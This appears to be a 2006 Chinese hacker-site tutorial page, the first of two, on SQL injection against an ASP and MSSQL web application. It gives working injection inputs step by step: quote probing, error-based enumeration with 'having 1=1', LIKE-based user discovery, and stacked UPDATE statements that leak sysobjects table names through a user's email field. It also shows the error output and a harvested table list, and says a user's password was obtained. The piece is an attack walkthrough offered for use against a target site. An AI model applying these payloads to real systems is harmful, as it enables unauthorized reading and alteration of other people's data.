黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 文章正文
[推荐]SQL注入的新技巧
      ★★★★★
SQL注入的新技巧
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-6-22

表名和字段名的获得
适用情况:
1)数据库是MSSQL
2)连接数据库的只是普通用户
3)不知道ASP源代码

可以进行的攻击
1)对数据内容进行添加,查看,更改

实例:
本文件以

为列进行测试攻击

第一步:
在输入用户名处输入单引号,显示
Microsoft OLE DB Provider for SQL Server 错误 80040e14
字符串 之前有未闭合的引号。

/user/wantpws.asp,行63

说明没有过滤单引号且数据库是MSSQL.

第二步:
输入a;use master;--
显示
Microsoft OLE DB Provider for SQL Server 错误 80040e21 多步LE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。

/user/wantpws.asp,行63
这样说明没有权限了。

第三步:
输入:a or name like fff%;--
显示有一个叫ffff的用户哈。

第四步:
在用户名处输入
ffff and 1<>(select count(email) from [user]);--
显示:
Microsoft OLE DB Provider for SQL Server 错误 80040e37
对象名 user 无效。

/user/wantpws.asp,行96

说明没有叫user的表,换成users试试成功,同时说明有一个叫email的列.
输入a having 1=1--
一般返回如下也就可以直接得到表名和一个字段名了
Microsoft OLE DB Provider for SQL Server 错误 80040e14
列 users.ID 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。

/user/wantpws.asp,行63

现在我们知道了ffff用户的密码是111111.

下面通过语句得到数据库中的所有表名和字段名。

第五步:
输入:
ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
说明:
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad然后根据表名ad得到这个表的IDffff;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
同上可知id是:581577110由于对象标志id是根据由小到大排列的所以我们可以得到所有的用户表的名字了象下面这样就可以得到第二个表的名字了ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--

ad 581577110
users 597577167
buy 613577224
car 629577281
learning 645577338
log 661577395
movie 677577452
movieurl 693577509
password 709577566
type 725577623
talk

经过一段时间的猜测后我们得到上面的分析一下应该明白password,users是最得要的

[1] [2] 下一页  

文章录入:cainiaowang    责任编辑:sygbox 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886